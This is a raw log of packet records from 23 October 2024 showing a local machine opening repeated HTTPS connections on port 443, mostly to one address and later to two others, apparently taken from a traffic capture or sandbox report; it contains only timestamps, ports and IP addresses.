Oct 23, 2024 21:04:30.740611076 CEST	49894	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:30.740689993 CEST	49893	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:30.740703106 CEST	443	49893	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:30.740768909 CEST	49894	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:30.740778923 CEST	443	49894	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:30.740782022 CEST	49895	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:30.740792990 CEST	443	49895	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:30.740833044 CEST	49895	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:30.740942001 CEST	49895	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:30.740952015 CEST	443	49895	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:30.818938017 CEST	443	49891	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:30.819113970 CEST	443	49891	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:30.819204092 CEST	49891	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:30.819269896 CEST	49891	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:30.819269896 CEST	49891	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:30.819293976 CEST	443	49891	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:30.819305897 CEST	443	49891	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:30.821902990 CEST	443	49892	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:30.821935892 CEST	443	49892	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:30.821976900 CEST	443	49892	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:30.821990967 CEST	49892	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:30.822040081 CEST	49892	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:30.822156906 CEST	49892	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:30.822175980 CEST	443	49892	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:30.822187901 CEST	49892	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:30.822196960 CEST	443	49892	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:30.822429895 CEST	49896	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:30.822474957 CEST	443	49896	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:30.822535038 CEST	49896	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:30.822709084 CEST	49896	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:30.822729111 CEST	443	49896	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:30.825263023 CEST	49897	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:30.825290918 CEST	443	49897	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:30.825553894 CEST	49897	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:30.825553894 CEST	49897	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:30.825577974 CEST	443	49897	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:31.498827934 CEST	443	49895	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:31.499294043 CEST	49895	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:31.499325037 CEST	443	49895	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:31.499743938 CEST	49895	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:31.499751091 CEST	443	49895	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:31.513056040 CEST	443	49894	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:31.513394117 CEST	49894	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:31.513411045 CEST	443	49894	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:31.513792992 CEST	49894	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:31.513797045 CEST	443	49894	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:31.516375065 CEST	443	49893	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:31.516777039 CEST	49893	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:31.516784906 CEST	443	49893	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:31.517141104 CEST	49893	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:31.517146111 CEST	443	49893	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:31.574588060 CEST	443	49897	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:31.574999094 CEST	49897	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:31.575011015 CEST	443	49897	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:31.575354099 CEST	49897	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:31.575361013 CEST	443	49897	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:31.596223116 CEST	443	49896	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:31.596568108 CEST	49896	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:31.596590996 CEST	443	49896	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:31.597196102 CEST	49896	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:31.597208023 CEST	443	49896	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:31.634994030 CEST	443	49895	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:31.635178089 CEST	443	49895	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:31.635251999 CEST	49895	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:31.635390997 CEST	49895	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:31.635409117 CEST	443	49895	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:31.635418892 CEST	49895	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:31.635425091 CEST	443	49895	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:31.638401985 CEST	49898	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:31.638444901 CEST	443	49898	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:31.638564110 CEST	49898	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:31.638803005 CEST	49898	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:31.638818979 CEST	443	49898	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:31.654015064 CEST	443	49894	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:31.654197931 CEST	443	49894	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:31.654321909 CEST	49894	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:31.654321909 CEST	49894	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:31.654386044 CEST	49894	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:31.654417992 CEST	443	49894	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:31.655720949 CEST	443	49893	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:31.656413078 CEST	443	49893	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:31.656481028 CEST	49893	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:31.656481028 CEST	443	49893	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:31.656543016 CEST	49893	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:31.656579971 CEST	49893	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:31.656588078 CEST	443	49893	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:31.656596899 CEST	49893	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:31.656600952 CEST	443	49893	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:31.656774998 CEST	49899	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:31.656804085 CEST	443	49899	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:31.657049894 CEST	49899	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:31.657186031 CEST	49899	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:31.657197952 CEST	443	49899	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:31.658824921 CEST	49900	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:31.658847094 CEST	443	49900	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:31.658905029 CEST	49900	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:31.659013987 CEST	49900	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:31.659018993 CEST	443	49900	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:31.712534904 CEST	443	49897	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:31.712651968 CEST	443	49897	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:31.712774038 CEST	49897	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:31.712860107 CEST	49897	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:31.712860107 CEST	49897	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:31.712873936 CEST	443	49897	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:31.712883949 CEST	443	49897	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:31.715599060 CEST	49901	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:31.715616941 CEST	443	49901	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:31.715751886 CEST	49901	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:31.715895891 CEST	49901	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:31.715909958 CEST	443	49901	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:31.734374046 CEST	443	49896	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:31.734546900 CEST	443	49896	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:31.734642029 CEST	49896	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:31.734714031 CEST	49896	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:31.734740019 CEST	443	49896	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:31.734755993 CEST	49896	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:31.734766006 CEST	443	49896	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:31.737327099 CEST	49902	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:31.737349987 CEST	443	49902	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:31.737406969 CEST	49902	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:31.737582922 CEST	49902	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:31.737595081 CEST	443	49902	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:32.429336071 CEST	443	49898	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:32.430041075 CEST	49898	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:32.430062056 CEST	443	49898	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:32.430444956 CEST	49898	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:32.430450916 CEST	443	49898	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:32.444216013 CEST	443	49900	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:32.444648981 CEST	49900	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:32.444669962 CEST	443	49900	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:32.445480108 CEST	49900	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:32.445487976 CEST	443	49900	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:32.452846050 CEST	443	49899	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:32.453197956 CEST	49899	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:32.453216076 CEST	443	49899	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:32.453623056 CEST	49899	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:32.453627110 CEST	443	49899	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:32.476087093 CEST	443	49901	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:32.476536036 CEST	49901	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:32.476556063 CEST	443	49901	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:32.477170944 CEST	49901	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:32.477175951 CEST	443	49901	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:32.517446041 CEST	443	49902	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:32.517841101 CEST	49902	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:32.517860889 CEST	443	49902	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:32.518234968 CEST	49902	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:32.518240929 CEST	443	49902	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:32.566785097 CEST	443	49898	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:32.567092896 CEST	443	49898	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:32.567188025 CEST	49898	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:32.567188025 CEST	49898	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:32.567214012 CEST	49898	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:32.567230940 CEST	443	49898	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:32.569681883 CEST	49903	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:32.569741964 CEST	443	49903	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:32.569854021 CEST	49903	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:32.570000887 CEST	49903	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:32.570015907 CEST	443	49903	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:32.580564976 CEST	443	49900	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:32.580745935 CEST	443	49900	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:32.580799103 CEST	49900	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:32.580851078 CEST	49900	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:32.580851078 CEST	49900	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:32.580862045 CEST	443	49900	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:32.580869913 CEST	443	49900	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:32.582952023 CEST	49904	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:32.582968950 CEST	443	49904	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:32.583033085 CEST	49904	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:32.583165884 CEST	49904	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:32.583178997 CEST	443	49904	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:32.590349913 CEST	443	49899	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:32.590492010 CEST	443	49899	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:32.590636015 CEST	49899	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:32.590877056 CEST	49899	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:32.590884924 CEST	443	49899	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:32.593918085 CEST	49905	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:32.593941927 CEST	443	49905	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:32.594100952 CEST	49905	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:32.594281912 CEST	49905	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:32.594304085 CEST	443	49905	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:32.614902973 CEST	443	49901	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:32.614969015 CEST	443	49901	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:32.615093946 CEST	49901	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:32.615123987 CEST	49901	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:32.615132093 CEST	443	49901	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:32.615142107 CEST	49901	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:32.615145922 CEST	443	49901	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:32.617104053 CEST	49906	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:32.617116928 CEST	443	49906	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:32.617249012 CEST	49906	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:32.617366076 CEST	49906	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:32.617377996 CEST	443	49906	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:32.654110909 CEST	443	49902	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:32.654180050 CEST	443	49902	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:32.654293060 CEST	443	49902	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:32.654316902 CEST	49902	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:32.654397964 CEST	49902	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:32.654397964 CEST	49902	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:32.654397964 CEST	49902	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:32.656511068 CEST	49907	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:32.656553984 CEST	443	49907	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:32.656647921 CEST	49907	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:32.656774998 CEST	49907	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:32.656795025 CEST	443	49907	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:32.965666056 CEST	49902	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:32.965688944 CEST	443	49902	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:33.310261011 CEST	443	49903	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:33.310682058 CEST	49903	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:33.310713053 CEST	443	49903	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:33.311136961 CEST	49903	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:33.311141968 CEST	443	49903	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:33.357322931 CEST	443	49904	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:33.357880116 CEST	49904	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:33.357888937 CEST	443	49904	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:33.358198881 CEST	49904	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:33.358206987 CEST	443	49904	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:33.370268106 CEST	443	49905	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:33.370925903 CEST	49905	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:33.370943069 CEST	443	49905	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:33.371371984 CEST	49905	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:33.371380091 CEST	443	49905	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:33.381719112 CEST	443	49906	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:33.382075071 CEST	49906	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:33.382097006 CEST	443	49906	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:33.382483006 CEST	49906	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:33.382491112 CEST	443	49906	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:33.428992987 CEST	443	49907	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:33.429426908 CEST	49907	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:33.429450989 CEST	443	49907	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:33.430185080 CEST	49907	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:33.430214882 CEST	443	49907	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:33.444164991 CEST	443	49903	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:33.444432974 CEST	443	49903	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:33.444492102 CEST	49903	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:33.444567919 CEST	49903	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:33.444586039 CEST	443	49903	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:33.444597006 CEST	49903	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:33.444602966 CEST	443	49903	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:33.447176933 CEST	49908	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:33.447199106 CEST	443	49908	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:33.447426081 CEST	49908	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:33.447560072 CEST	49908	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:33.447578907 CEST	443	49908	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:33.496844053 CEST	443	49904	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:33.497010946 CEST	443	49904	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:33.497107029 CEST	49904	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:33.497282028 CEST	49904	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:33.497298956 CEST	443	49904	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:33.497312069 CEST	49904	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:33.497318983 CEST	443	49904	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:33.499913931 CEST	49909	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:33.499953985 CEST	443	49909	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:33.500010967 CEST	49909	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:33.500119925 CEST	49909	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:33.500133038 CEST	443	49909	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:33.509329081 CEST	443	49905	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:33.509531975 CEST	443	49905	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:33.509593010 CEST	49905	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:33.509646893 CEST	49905	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:33.509646893 CEST	49905	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:33.509663105 CEST	443	49905	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:33.509671926 CEST	443	49905	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:33.513319969 CEST	49910	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:33.513334990 CEST	443	49910	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:33.513572931 CEST	49910	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:33.513701916 CEST	49910	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:33.513712883 CEST	443	49910	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:33.522351980 CEST	443	49906	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:33.522373915 CEST	443	49906	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:33.522419930 CEST	443	49906	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:33.522433043 CEST	49906	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:33.522473097 CEST	49906	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:33.522799015 CEST	49906	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:33.522799015 CEST	49906	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:33.522806883 CEST	443	49906	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:33.522814989 CEST	443	49906	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:33.524679899 CEST	49911	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:33.524712086 CEST	443	49911	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:33.524873972 CEST	49911	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:33.525027037 CEST	49911	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:33.525038004 CEST	443	49911	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:33.563971043 CEST	443	49907	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:33.564116001 CEST	443	49907	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:33.564188957 CEST	49907	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:33.564204931 CEST	443	49907	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:33.564233065 CEST	443	49907	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:33.564296961 CEST	49907	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:33.564366102 CEST	49907	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:33.564383030 CEST	443	49907	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:33.564395905 CEST	49907	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:33.564405918 CEST	443	49907	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:33.567277908 CEST	49912	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:33.567302942 CEST	443	49912	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:33.567507982 CEST	49912	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:33.567670107 CEST	49912	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:33.567687035 CEST	443	49912	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:33.967179060 CEST	49913	443	192.168.2.6	40.113.110.67
Oct 23, 2024 21:04:33.967200994 CEST	443	49913	40.113.110.67	192.168.2.6
Oct 23, 2024 21:04:33.967288971 CEST	49913	443	192.168.2.6	40.113.110.67
Oct 23, 2024 21:04:33.967926025 CEST	49913	443	192.168.2.6	40.113.110.67
Oct 23, 2024 21:04:33.967935085 CEST	443	49913	40.113.110.67	192.168.2.6
Oct 23, 2024 21:04:34.206064939 CEST	443	49908	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:34.206660032 CEST	49908	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:34.206692934 CEST	443	49908	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:34.207223892 CEST	49908	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:34.207230091 CEST	443	49908	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:34.256422997 CEST	443	49909	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:34.256864071 CEST	49909	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:34.256886959 CEST	443	49909	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:34.257384062 CEST	49909	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:34.257389069 CEST	443	49909	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:34.270101070 CEST	443	49911	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:34.270423889 CEST	49911	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:34.270442009 CEST	443	49911	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:34.270791054 CEST	49911	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:34.270795107 CEST	443	49911	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:34.273022890 CEST	443	49910	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:34.273384094 CEST	49910	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:34.273396969 CEST	443	49910	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:34.273750067 CEST	49910	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:34.273753881 CEST	443	49910	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:34.300424099 CEST	49914	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:04:34.300470114 CEST	443	49914	63.250.38.7	192.168.2.6
Oct 23, 2024 21:04:34.300569057 CEST	49914	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:04:34.302201033 CEST	49914	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:04:34.302217007 CEST	443	49914	63.250.38.7	192.168.2.6
Oct 23, 2024 21:04:34.326323986 CEST	443	49912	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:34.326730013 CEST	49912	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:34.326749086 CEST	443	49912	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:34.327138901 CEST	49912	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:34.327145100 CEST	443	49912	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:34.344109058 CEST	443	49908	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:34.344237089 CEST	443	49908	13.107.253.45	192.168.2.6
